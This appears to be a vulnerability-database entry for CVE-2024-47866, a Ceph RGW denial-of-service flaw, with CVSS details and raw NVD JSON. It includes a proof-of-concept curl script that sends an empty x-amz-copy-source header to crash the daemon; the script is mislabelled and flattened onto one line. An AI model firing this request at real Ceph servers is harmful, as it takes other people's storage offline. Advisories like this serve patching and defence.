Security Vulnerability Report
中文
CVE-2024-47866 CVSS 7.5 HIGH

CVE-2024-47866

Published: 2025-11-12 19:15:35
Last Modified: 2025-12-31 16:23:57

Description

Ceph is a distributed object, block, and file storage platform. In versions up to and including 19.2.3, using the argument `x-amz-copy-source` to put an object and specifying an empty string as its content leads to the RGW daemon crashing, resulting in a DoS attack. As of time of publication, no known patched versions exist.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:redhat:ceph:*:*:*:*:*:*:*:* - VULNERABLE
Ceph <= 19.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2024-47866 PoC - Ceph RGW DoS via x-amz-copy-source # Target: RGW endpoint (e.g., http://target:7480) TARGET="http://target:7480" BUCKET="test-bucket" OBJECT="test-object" ACCESS_KEY="your-access-key" SECRET_KEY="your-secret-key" # Create a test bucket first (if needed) echo "Creating test bucket..." curl -X PUT "${TARGET}/${BUCKET}" \ -H "Host: localhost" \ -H "Date: $(date -u +'%a, %d %b %Y %H:%M:%S GMT')" \ -H "Authorization: AWS ${ACCESS_KEY}:$(echo -n "PUT\n\n\n\n/${BUCKET}/\n" | openssl dgst -sha1 -hmac "${SECRET_KEY}" -binary | base64)" # Upload initial object echo "Uploading initial object..." curl -X PUT "${TARGET}/${BUCKET}/${OBJECT}" \ -d "initial content" \ -H "Host: localhost" # Trigger DoS - send request with empty x-amz-copy-source echo "Triggering DoS vulnerability..." curl -X PUT "${TARGET}/${BUCKET}/${OBJECT}-copy" \ -H "x-amz-copy-source: " \ -H "Host: localhost" \ -v echo "If vulnerable, RGW daemon should crash"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-47866", "sourceIdentifier": "[email protected]", "published": "2025-11-12T19:15:34.867", "lastModified": "2025-12-31T16:23:56.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ceph is a distributed object, block, and file storage platform. In versions up to and including 19.2.3, using the argument `x-amz-copy-source` to put an object and specifying an empty string as its content leads to the RGW daemon crashing, resulting in a DoS attack. As of time of publication, no known patched versions exist."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:ceph:*:*:*:*:*:*:*:*", "versionEndIncluding": "19.2.3", "matchCriteriaId": "AAEF83B7-3F86-4D5C-B490-AD5E9A917812"}]}]}], "references": [{"url": "https://github.com/ceph/ceph/security/advisories/GHSA-mgrm-g92q-f8h8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/11/11/3", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}, {"url": "https://github.com/ceph/ceph/security/advisories/GHSA-mgrm-g92q-f8h8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}